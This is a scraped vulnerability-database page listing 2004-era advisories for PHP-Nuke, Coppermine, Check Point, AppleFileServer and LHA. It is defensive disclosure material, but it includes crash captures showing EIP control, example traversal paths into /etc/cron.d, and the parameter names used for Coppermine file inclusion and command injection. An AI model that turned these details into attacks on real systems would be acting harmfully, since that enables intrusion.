VARIoT IoT vulnerabilities database

The Downloads module in Php-Nuke 6.x through 7.2 allows remote attackers to gain sensitive information via an invalid show parameter to modules.php, which reveals the full path in a PHP error message. PHP-Nuke is prone to a information disclosure vulnerability. There is a vulnerability in the download module of Php-Nuke 6.x to 7.2 versions. This vulnerability reveals the full path of PHP error messages

Cross-site scripting (XSS) vulnerability in the Downloads module in Php-Nuke 6.x through 7.2 allows remote attackers to inject arbitrary HTML and web script via the (1) ttitle or (2) sid parameters to modules.php. PHP-Nuke is prone to a cross-site scripting vulnerability

SQL injection vulnerability in the Downloads module in Php-Nuke 6.x through 7.2 allows remote attackers to execute arbitrary SQL via the (1) orderby or (2) sid parameters to modules.php. Multiple SQL vulnerabilities have been identified in the 'modules.php' module of the application. These vulnerabilities may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information. PHPNuke 7.2 and prior are reported to be prone to these issues. The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. PHP-Nuke is a popular website creation and management tool, it can use many database software as backend, such as MySQL, PostgreSQL, mSQL, Interbase, Sybase, etc. The \'\'modules.php\'\' module included in PHP-Nuke lacks adequate filtering of the input submitted by the user, and remote attackers can use this vulnerability to obtain sensitive information of the user. The \'\'modules.php\'\' module lacks filtering for the \"orderby\" and \"sid\" variables submitted by the user. Submitting malicious SQL commands as this variable data can change the original SQL logic and obtain the database sensitive information or change database information

Buffer overflow in the ISAKMP functionality for Check Point VPN-1 and FireWall-1 NG products, before VPN-1/FireWall-1 R55 HFA-03, R54 HFA-410 and NG FP3 HFA-325, or VPN-1 SecuRemote/SecureClient R56, may allow remote attackers to execute arbitrary code during VPN tunnel negotiation. Check Point VPN-1/Firewall-1 Is VPN When negotiating tunnels, ISAKMP There is a vulnerability that does not properly perform boundary checking in the processing part of the protocol.Arbitrary code may be executed. Specifically, a buffer overflow condition may be triggered by sending a malformed ISAKMP packet during the negotiations. Check Point Software user who do not use Remote Access VPNs or gateway-to-gateway VPNs are not vulnerable to this issue. Due to a lack of details, further information cannot be provided at the moment. This BID will be updated as more information becomes available. Check Point Firewall-1 is a high-performance firewall, Checkpoint VPN-1 server and Checkpoint VPN client provide VPN access for remote client computers. The IKE component of these products allows non-directional or bi-directional authentication of two remote peers

Stack-based buffer overflow in AppleFileServer for Mac OS X 10.3.3 and earlier allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field. There is a buffer overflow vulnerability in the way Apple's AppleFileServer handles certain authentication requests. This vulnerability could allow an unauthenticated, remote attacker to execute arbitrary code. apple's Apple Mac OS X and Apple Mac OS X Server Exists in unspecified vulnerabilities.None. The issue presents itself when the application receives a 'LoginExt' packet containing a malformed 'PathName' argument. This issue was previously disclosed in a multiple BID 10268 (Apple OS X Multiple Unspecified Large Input Vulnerabilities), however, it is being assigned a new BID as a result of new information available. The problem exists in the pre-authentication stage. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 @stake, Inc. www.atstake.com Security Advisory Advisory Name: AppleFileServer Remote Command Execution Release Date: 05/03/2004 Application: AppleFileServer Platform: MacOS X 10.3.3 and below Severity: A remote attacker can execute arbitrary commands as root Authors: Dave G. <daveg@atstake.com> Dino Dai Zovi <ddaizovi@atstake.com> Vendor Status: Informed, Upgrade Available CVE Candidate: CAN-2004-0430 Reference: www.atstake.com/research/advisories/2004/a050304-1.txt Overview: The AppleFileServer provides Apple Filing Protocol (AFP) services for both Mac OS X and Mac OS X server. AFP is a protocol used to remotely mount drives, similar to NFS or SMB/CIFS. AFP is a protocol used to remotely mount drives, similar to NFS or SMB/CIFS. AFP is not enabled by default. It is enabled through the Sharing Preferences section by selecting the 'Personal File Sharing' checkbox. Thereis a pre-authentication remotely exploitable stack buffer overflow that allows an attacker to obtain administrative privileges. The PathName argument is encoded as one-byte specifying the string type, two-bytes specifying the string length, and finally the string itself. A string of type AFPName (0x3) that is longer than the length declared in the packet will overflow the fixed-size stack buffer. The previously described malformed request results in a trivially exploitable stack buffer overflow. Vendor Response: - From APPLE-SA-2004-05-03 Security Update 2004-05-03 AppleFileServer: Fixes CAN-2004-0430 to improve the handling of long passwords. Credit to Dave G. from @stake for reporting this issue. Security Update 2004-05-03 may be obtained from: * Software Update pane in System Preferences * Apple's Software Downloads web site: For Mac OS X 10.3.3 "Panther" ============================= http://download.info.apple.com/Mac_OS_X/061-1213.20040503.vngr3/ 2Z/SecUpd2004-05-03Pan.dmg The download file is named: "SecUpd2004-05-03Pan.dmg" Its SHA-1 digest is: 6f35539668d80ee536305a4146bd982a93706532 For Mac OS X Server 10.3.3 ========================== http://download.info.apple.com/Mac_OS_X/061-1215.20040503.mPp9k/ 2Z/SecUpdSrvr2004-05-03Pan.dmg The download file is named: "SecUpdSrvr2004-05-03Pan.dmg" Its SHA-1 digest is: 3c7da910601fd36d4cdfb276af4783ae311ac5d7 For Mac OS X 10.2.8 "Jaguar" ============================= http://download.info.apple.com/Mac_OS_X/061-1217.20040503.BmkY5/ 2Z/SecUpd2004-05-03Jag.dmg The download file is named: "SecUpd2004-05-03Jag.dmg" Its SHA-1 digest is: 11d5f365e0db58b369d85aa909ac6209e2f49945 For Mac OS X Server 10.2.8 ========================== http://download.info.apple.com/Mac_OS_X/061-1219.20040503.Zsw3S/ 2Z/SecUpdSrvr2004-05-03Jag.dmg The download file is named: "SecUpdSrvr2004-05-03Jag.dmg" Its SHA-1 digest is: 28859a4c88f6e1d1fe253388b233a5732b6e42fb Timeline 3/26/2004 Vendor notified of issue 5/04/2004 Vendor informs us that they have a patch available 4/04/2004 Advisory released Recommendation: If you do not need AFS, disable it. If you do need it, upgrade to the latest version of Panther. Common Vulnerabilities and Exposures (CVE) Information: The Common Vulnerabilities and Exposures (CVE) project has assigned the following names to these issues. These are candidates for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. CAN-2004-0430 AppleFileServer Remote Command Execution Open Source Vulnerability Database (OSVDB) Information: More information available at www.osvdb.org OSVDB ID 5762 @stake Vulnerability Reporting Policy: http://www.atstake.com/research/policy/ @stake Advisory Archive: http://www.atstake.com/research/advisories/ PGP Key: http://www.atstake.com/research/pgp_key.asc Copyright 2004 @stake, Inc. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: PGP 8.0.3 iQA/AwUBQJbHKUe9kNIfAm4yEQJraQCgvzJSUEBfxJNS5Yrk8tCFoM+7vCsAn0WI aBZDr4XgtWYb05rrBQKn01f2 =A6ex -----END PGP SIGNATURE-----

Unknown vulnerability in CoreFoundation in Mac OS X 10.3.3 and Mac OS X 10.3.3 Server, related to "the handling of an environment variable," has unknown attack vectors and unknown impact. There is a buffer overflow vulnerability in the way Apple's AppleFileServer handles certain authentication requests. This vulnerability could allow an unauthenticated, remote attacker to execute arbitrary code. It has been reported that CoreFoundation is affected by a local unspecified large input vulnerability. This issue is apparently due to an inability of certain library-defined classes to handle large input. Currently sufficient information does not exist to provide more details. This BID will be updated when more information becomes available. This issue was previously disclosed in a multiple BID 10268 (Apple OS X Multiple Unspecified Large Input Vulnerabilities), however, it is being assigned a new BID

Coppermine Photo Gallery 1.2.2b and 1.2.0 RC4 allows remote attackers to obtain sensitive information via a direct HTTP request to (1) phpinfo.php, (2) addpic.php, (3) config.php, (4) db_input.php, (5) displayecard.php, (6) ecard.php, (7) crop.inc.php, which reveal the full path in a PHP error message. Coppermine Photo Gallery is prone to a information disclosure vulnerability

Cross-site scripting (XSS) vulnerability in menu.inc.php in Coppermine Photo Gallery 1.2.2b allows remote attackers to inject arbitrary HTML or web script via the CPG_URL parameter. Coppermine Photo Gallery is a WEB-based graphics library management program. Coppermine Photo Gallery does not fully filter the input submitted by users in many places. Remote attackers can use these vulnerabilities to execute arbitrary commands, obtain COOKIE data, and obtain sensitive file paths and other information. The specific issues are as follows: 1. Path leakage: By directly accessing some configuration scripts, sensitive path information can be obtained. 2. Cross-site scripting attack coppermine/docs/menu.inc.php\'\' lacks filtering for user submitted URIs, attackers can use this vulnerability to obtain sensitive information. 3. Browse any directory: If you have PHP-Nuke administrator privileges, you can bypass directory restrictions to access other files by accessing the coppermine module. 4. Arbitrary command execution: If you have PHP-Nuke administrator privileges to access the coppermine module, you can enter the SHELL command in some parameters of the coppermine configuration panel, and execute it with WEB process privileges

Multiple directory traversal vulnerabilities in LHA 1.14 allow remote attackers or local users to create arbitrary files via an LHA archive containing filenames with (1) .. sequences or (2) absolute pathnames with double leading slashes ("//absolute/path"). The first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. The second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. **NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. **Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. ------------------------------------------------------------------------ LHa buffer overflows and directory traversal problems PROGRAM: LHa (Unix version) VENDOR: various people VULNERABLE VERSIONS: 1.14d to 1.14i 1.17 (Linux binary) possibly others IMMUNE VERSIONS: 1.14i with my patch applied 1.14h with my patch applied LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm http://www2m.biglobe.ne.jp/~dolphin/lha/prog/ LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/ REFERENCES: CAN-2004-0234 (buffer overflows) CAN-2004-0235 (directory traversal) * DESCRIPTION * LHa is a console-based program for packing and unpacking LHarc archives. It is one of the packages in Red Hat Linux, Fedora Core, SUSE Linux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux, Gentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. It is also included in the port/package collections for FreeBSD, OpenBSD and NetBSD. * OVERVIEW * LHa has two stack-based buffer overflows and two directory traversal problems. They can be abused by malicious people in many different ways: some mail virus scanners require LHa and run it automatically on attached files in e-mail messages. Some web applications allow uploading and unpacking of LHarc archives. Some people set up their web browsers to start LHa automatically after downloading an LHarc archive. Finally, social engineering is probably quite effective in this case. * TECHNICAL DETAILS * a) two stack-based buffer overflows The buffer overflows in LHa occur when testing (t) or extracting (x) archives where the archive contents have too long filenames or directory names. The cause of the problem is the function get_header() in header.c. This function first reads the lengths of filenames or directory names from the archive, and then it reads that many bytes to a char array (one for filenames and one for directory names) without checking if the array is big enough. By exploiting this bug, you get control over several registers including EIP, as you can see in this session capture: $ lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ gdb lha GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) r x buf_oflow.lha Starting program: /usr/bin/lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt #0 0x55555555 in ?? () Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffdd50 0xbfffdd50 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210282 2163330 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) r t buf_oflow.lha The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt #0 0x55555555 in ?? () Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffe6d0 0xbfffe6d0 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210286 2163334 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) q The program is running. Exit anyway? (y or n) y $ b) two directory traversal problems LHa has directory traversal problems, both with absolute paths and relative paths. There is no protection against relative paths at all, so you can simply use the lha binary to create an archive with paths like "../../../../../etc/cron.d/evil". There is some simple protection against absolute paths, namely skipping the first character if it is a slash, but again you can simply use the binary to create archives with paths like "//etc/cron.d/evil". * ATTACHED FILES * I have written a patch against version 1.14i that corrects all four problems. The patch is included as an attachment, together with some test archives. * TIMELINE * 18 Apr: contacted the vendor-sec list and the LHa 1.14 author 18 Apr: tried to contact the LHa 1.17 author with a web form and a guessed e-mail address which bounced 19 Apr: reply from the vendor-sec list with CVE references 30 Apr: Red Hat released their advisory 01 May: I release this advisory // Ulf Harnhammar Advogato diary :: http://www.advogato.org/person/metaur/ idiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/ Debian Security Audit Project :: http://shellcode.org/Audit/ ------------------------------------------------------------------------

picmgmtbatch.inc.php in Coppermine Photo Gallery 1.2.2b and 1.2.0 RC4 allows remote attackers with administrative privileges to execute arbitrary commands via shell metacharacters in the (1) $CONFIG['impath'] or (2) $CONFIG['jpeg_qual'] parameters. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands. Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible. Coppermine Photo Gallery is a WEB-based graphics library management program. Coppermine Photo Gallery does not fully filter the input submitted by users in many places. The specific issues are as follows: 1. Path leakage: By directly accessing some configuration scripts, sensitive path information can be obtained. 2. Cross-site scripting attack coppermine/docs/menu.inc.php\'\' lacks filtering for user submitted URIs, attackers can use this vulnerability to obtain sensitive information. 3. Browse any directory: If you have PHP-Nuke administrator privileges, you can bypass directory restrictions to access other files by accessing the coppermine module. 4

PHP remote file inclusion vulnerability in init.inc.php in Coppermine Photo Gallery 1.2.0 RC4 allows remote attackers to execute arbitrary PHP code by modifying the CPG_M_DIR to reference a URL on a remote web server that contains functions.inc.php. Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands. Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible. Coppermine Photo Gallery is a WEB-based graphics library management program. Coppermine Photo Gallery does not fully filter the input submitted by users in many places. The specific issues are as follows: 1. Path leakage: By directly accessing some configuration scripts, sensitive path information can be obtained. 2. Cross-site scripting attack coppermine/docs/menu.inc.php\'\' lacks filtering for user submitted URIs, attackers can use this vulnerability to obtain sensitive information. 3. Browse any directory: If you have PHP-Nuke administrator privileges, you can bypass directory restrictions to access other files by accessing the coppermine module. 4. Arbitrary command execution: If you have PHP-Nuke administrator privileges to access the coppermine module, you can enter the SHELL command in some parameters of the coppermine configuration panel, and execute it with WEB process privileges

PHP remote file inclusion vulnerability in theme.php in Coppermine Photo Gallery 1.2.2b allows remote attackers to execute arbitrary PHP code by modifying the THEME_DIR parameter to reference a URL on a remote web server that contains user_list_info_box.inc. Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands. Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible. Coppermine Photo Gallery is a WEB-based graphics library management program. Coppermine Photo Gallery does not fully filter the input submitted by users in many places. The specific issues are as follows: 1. Path leakage: By directly accessing some configuration scripts, sensitive path information can be obtained. 2. Cross-site scripting attack coppermine/docs/menu.inc.php\'\' lacks filtering for user submitted URIs, attackers can use this vulnerability to obtain sensitive information. 3. Browse any directory: If you have PHP-Nuke administrator privileges, you can bypass directory restrictions to access other files by accessing the coppermine module. 4. Arbitrary command execution: If you have PHP-Nuke administrator privileges to access the coppermine module, you can enter the SHELL command in some parameters of the coppermine configuration panel, and execute it with WEB process privileges

Multiple stack-based buffer overflows in the get_header function in header.c for LHA 1.14, as used in products such as Barracuda Spam Firewall, allow remote attackers or local users to execute arbitrary code via long directory or file names in an LHA archive, which triggers the overflow when testing or extracting the archive. The first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. The second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. **NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. **Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. These vulnerabilities are related to: SA11510 SA19002 Successful exploitation allows execution of arbitrary code. ------------------------------------------------------------------------ LHa buffer overflows and directory traversal problems PROGRAM: LHa (Unix version) VENDOR: various people VULNERABLE VERSIONS: 1.14d to 1.14i 1.17 (Linux binary) possibly others IMMUNE VERSIONS: 1.14i with my patch applied 1.14h with my patch applied LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm http://www2m.biglobe.ne.jp/~dolphin/lha/prog/ LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/ REFERENCES: CAN-2004-0234 (buffer overflows) CAN-2004-0235 (directory traversal) * DESCRIPTION * LHa is a console-based program for packing and unpacking LHarc archives. It is one of the packages in Red Hat Linux, Fedora Core, SUSE Linux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux, Gentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. It is also included in the port/package collections for FreeBSD, OpenBSD and NetBSD. * OVERVIEW * LHa has two stack-based buffer overflows and two directory traversal problems. They can be abused by malicious people in many different ways: some mail virus scanners require LHa and run it automatically on attached files in e-mail messages. Some web applications allow uploading and unpacking of LHarc archives. Some people set up their web browsers to start LHa automatically after downloading an LHarc archive. Finally, social engineering is probably quite effective in this case. The cause of the problem is the function get_header() in header.c. This function first reads the lengths of filenames or directory names from the archive, and then it reads that many bytes to a char array (one for filenames and one for directory names) without checking if the array is big enough. By exploiting this bug, you get control over several registers including EIP, as you can see in this session capture: $ lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ gdb lha GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) r x buf_oflow.lha Starting program: /usr/bin/lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt #0 0x55555555 in ?? () Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffdd50 0xbfffdd50 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210282 2163330 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) r t buf_oflow.lha The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt #0 0x55555555 in ?? () Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffe6d0 0xbfffe6d0 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210286 2163334 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) q The program is running. Exit anyway? (y or n) y $ b) two directory traversal problems LHa has directory traversal problems, both with absolute paths and relative paths. There is no protection against relative paths at all, so you can simply use the lha binary to create an archive with paths like "../../../../../etc/cron.d/evil". There is some simple protection against absolute paths, namely skipping the first character if it is a slash, but again you can simply use the binary to create archives with paths like "//etc/cron.d/evil". * ATTACHED FILES * I have written a patch against version 1.14i that corrects all four problems. The patch is included as an attachment, together with some test archives. * TIMELINE * 18 Apr: contacted the vendor-sec list and the LHa 1.14 author 18 Apr: tried to contact the LHa 1.17 author with a web form and a guessed e-mail address which bounced 19 Apr: reply from the vendor-sec list with CVE references 30 Apr: Red Hat released their advisory 01 May: I release this advisory // Ulf Harnhammar Advogato diary :: http://www.advogato.org/person/metaur/ idiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/ Debian Security Audit Project :: http://shellcode.org/Audit/ ------------------------------------------------------------------------ . TITLE: Zoo "fullpath()" File Name Handling Buffer Overflow SECUNIA ADVISORY ID: SA19002 VERIFY ADVISORY: http://secunia.com/advisories/19002/ CRITICAL: Moderately critical IMPACT: DoS, System access WHERE: >From remote SOFTWARE: zoo 2.x http://secunia.com/product/8297/ DESCRIPTION: Jean-S\xe9bastien Guay-Leroux has discovered a vulnerability in zoo, which can be exploited by malicious people to cause a DoS (Denial of Service) and potentially to compromise a user's system. This can be exploited to cause a buffer overflow when a specially-crafted ZOO archive containing a file with an overly long file and directory name is processed (e.g. listing archive contents or adding new files to the archive). The vulnerability has been confirmed in version 2.10. Other versions may also be affected. SOLUTION: Restrict use to trusted ZOO archives. PROVIDED AND/OR DISCOVERED BY: Jean-S\xe9bastien Guay-Leroux ORIGINAL ADVISORY: http://www.guay-leroux.com/projects/zoo-advisory.txt ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories 